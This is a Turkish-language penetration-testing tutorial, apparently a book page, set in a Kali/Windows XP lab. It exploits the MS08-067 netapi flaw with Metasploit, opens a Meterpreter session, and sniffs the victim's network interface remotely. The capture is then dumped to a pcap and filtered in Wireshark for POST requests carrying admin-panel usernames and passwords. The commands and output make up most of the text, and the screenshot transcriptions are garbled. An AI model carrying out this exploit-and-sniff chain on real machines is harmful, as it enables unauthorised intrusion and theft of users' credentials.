## Hedef Makineye Sızmak ve Sonra Sniff'lemek

Gereksinimler

Eski Kali (kali-linux-1.0.4-amd64.iso) Windows XP (Dandik)

NOT: Bu yazı birebir denenmiştir ve başarılı olunmuştur.

Yerel network'te arp spoofing yaparak hedef makinanın trafiğini sniff'leyebiliriz. Peki hedef makina ile aynı local ağda değilsek hedef makinayı yine de sniff'leyebilir miyiz? Meterpreter ile bu mümkün. Bu belge hedef makinayla aynı local ağda olmadan nasıl hedef makinanın sniff'lenebileceğini gösterecektir.

Öncelikle hedef makinaya netapi zafiyeti ile sızacağız. Ardından meterpreter payload'u ile uzaktaki hedefin ethernet kartını dinleyeceğiz. Daha sonra dinleme işlemini sonlandırdığımızda hedef makinada toplanan trafik paketlerini pcap uzantılı dosya olarak makinamıza indireceğiz. En sonunda da pcap dosyasını Wireshark ile inceleyip kullanıcı adı ve şifre gibi kritik bilgileri elde edeceğiz.

Şimdi netapi zafiyeti üzerinden Windows XP (Dandik)'e sızalım.

msf > use exploit/windows/smb/ms08\_067\_netapi
msf (ms08\_067\_netapi) > set PAYLOAD windows/meterpreter/bind\_tcp
msf (ms08\_067\_netapi) > set LHOST 192.168.0.18 // Kali IP
msf (ms08\_067\_netapi) > set RHOST 192.168.0.19 // WinXP IP
msf (ms08\_067\_netapi) > exploit

[\*] Started bind handler
[\*] Automatically detecting the target...
[\*] Fingerprint: Windows XP – Service Pack 2 – lang:Turkish
[\*] Selected Target: Windows XP SP2 Turkish (NX)
[\*] Attempting to trigger the vulnerability...
[\*] Sending stage (770048 bytes) to 192.168.0.19

meterpreter >

Meterpreter session'ı elde edilmiştir. Şimdi sniff'ing işlemi için hedefin ethernet kartı interface'ini öğrenelim.

meterpreter > use sniffer
meterpreter > sniffer\_interfaces

Output:

1 – 'AMD PCNET Ailesi PCI Ethernet Bağdaştırıcısı' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

Görüldüğü üzere hedef makinanın ethernet kart modeli çıktıya yansımıştır. Şimdi 1 numaralı interface'ten 20000 tane paket yakala emrini payload'a verelim:

```
meterpreter > sniffer_start 1 20000
```

Output:

[\*] Capture started on interface 1 (20000 packet buffer)

Paketler bir bir yakalanırken arada bir sniffing durumunu gözlemlemek için sniffer\_stats komutunu kullanalım:

meterpreter > sniffer\_stats 1 // 1 nolu interface'in istatistikleri

Output:

[\*] Capture statictics for interface 1 packets: 4085 bytes: 569713

Ardından Windows XP (Dandik)'teki firefox'tan includekarabuk.com'un admin paneline login olalım. Daha sonra yakalanan paketleri uzak sistemin buffer'ından kali'ye indirip bir dosyaya yazmak için aşağıdaki komutu kullanalım:

meterpreter > sniffer\_dump 1 /root/Desktop/win2.cap

Output:

[\*] Flushing packet capture buffer for interface 1...
[\*] Flushed 4095 packets (569713 bytes)
[\*] Downloaded 022%
[\*] Downloaded 044%
[\*] Downloaded 066%
[\*] Downloaded 089%
[\*] Downloaded 100%
[\*] Downloaded completed, converting to PCAP...
[\*] PCAP file writtento /root/Desktop/win2.cap

Dosyalanan trafikte Wireshark'ın filter'ı ile madencilik yapabilir ve kullanıcı adı ve şifre gibi hassas verileri cımbızlayabiliriz. Bunu gerçeklemek için öncelikle tüm trafiği barındıran dosyayı wireshark'a dahil edelim. Ardından Wireshark'ın filter kutusuna aşağıdakini yazalım:

http.request.method == "POST"

POST methoduna göre sonuç daraltmasına gidilmesi tercih edildi, çünkü kullanıcı adı ve şifre gibi bilgiler çoğunlukla web sitelerinden sunucuya HTTP POST methodu ile gitmektedirler. Daralanan sonuçlardan gözümüze kestirdiğimiz paketi (mesela includekarabuk'un /adminPaneli/index.php sayfasına dair olan paketi) seçelim:

		Click to	view your appoi	ntments and tasks	_ 🗆 ×		
File Ed	dit View Go Capture	Analyze Statistics Telepho	ny Tools Inte	ernals Help			
<b>e</b> i	• • • • • •	i 🖄 🗱 😋 🚖 🔍	• • •		Y 🍢 🗸		
Filter: http.request.method == "POST" Save							
e	Source	Destination	Protocol	Length Info			
000000	192.168.2.206	93.184.220.29	OCSP	503 Request			
000000	192.168.2.206	216.58.212.14	OCSP	501 Request			
000000	192.168.2.206	93.184.220.29	OCSP	503 Request			
000000	192.168.2.206	93.184.220.29	OCSP	503 Request			
000000	192.168.2.206	93.184.220.29	OCSP	503 Request			
000000							
000000	192.168.2.206	93.89.224.247	HTTP	662 POST /adminPaneli/yorumOnayi.php HTTP	/l.l (applicatio		
000000	192.168.2.206	93.184.220.29	OCSP	503 Request			
.000000	192.168.2.237	93.89.224.247	HTTP	768 POST /adminPaneli/index.php HTTP/1.1	(application/x-w		
.000000	192.168.2.237	93.89.224.247	HTTP	826 POST /adminPaneli/yorumOnayi.php HTTP	/l.l (applicatio		
<					2		
D Frame	e 1493: 615 bytes on	wire (4920 bits), 615 byte	s captured (4	4920 bits)			
▷ Ethernet II, Src: CadmusCo_lb:cd:a6 (08:00:27:lb:cd:a6), Dst: AirtiesW_fa:64:19 (18:28:61:fa:64:19)							
Internet Protocol Version 4, Src: 192.168.2.206 (192.168.2.206), Dst: 93.89.224.247 (93.89.224.247)							
P Transmission Control Protocol, Src Port: cardax (1072), Dst Port: http (80), Seq: 1225, Ack: 2299, Len: 561							
P Hypertext Transfer Protocol							
P Line-based text data: application/x-www-form-urlencoded							

Ardından seçtiğimiz pakete sağ tıklayıp Follow TCP Stream diyerek paketin içini okuyabileceğimiz pencereyi açalım:

File Edit View Go Capture Analyze Statistics Telephony To								
	File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help							
	• • • • • • • • • • • • • • • • • • •	<b>-</b>						
Filter: http.request.method == "POST" Save								
e Source Destination	Protocol Length Info							
000000         192.168.2.206         93.184.220.29         0           000000         192.168.2.206         216.58.212.14         0           000000         192.168.2.206         93.184.220.29         0           000000         192.168.2.206         93.184.220.29         0           000000         192.168.2.206         93.184.220.29         0           000000         192.168.2.206         93.89.224.247         H           000000         192.168.2.206         93.89.224.247         H           000000         192.168.2.206         93.89.224.247         H           000000         192.168.2.207         93.89.224.247         H           000000         192.168.2.237         93.89.224.247         H           000000         192.168.2.237         93.89.224.247         H	OCSP     503 Request       OCSP     501 Request       OCSP     503 Request       OCSP     503 Request       OCSP     Mark Packet (toggle)       hp HTTP/1.1 (appli       HTTP     Ignore Packet (toggle)       HTTP     Set Time Reference (toggle)       HTTP     Time Shift       HTTP     Edit or Add Packet Comment       Manually Resolve Address	cation/x-w applicatio cation/x-w applicatio						
Frame 1493: 615 bytes on wire (4920 bits), 615 bytes cap b Frame 1493: 615 bytes on wire (4920 bits), 615 bytes cap b Ethernet II, Src: CadmusCo_lb:cd:a6 (08:00:27:lb:cd:a6), b Internet Protocol Version 4, Src: 192.168.2.206 (192.168 b Transmission Control Protocol, Src Port: cardax (1072), 1 b Hypertext Transfer Protocol b Line-based text data: application/x-www-form-urlencoded	Apply as Filter  Prepare a Filter Conversation Filter Colorize Conversation SCTP Follow TCP Stream Follow UDP Stream Fol	Đ						



Görüldüğü üzere paketin içerisindeki POST edilen değişken ve değerleri kullanıcı adı ve şifre imiş. Böylelikle hedef sistemin trafiğini uzaktan sniff'leyerek hassas verilere ulaşmış olduk.

(Page 263)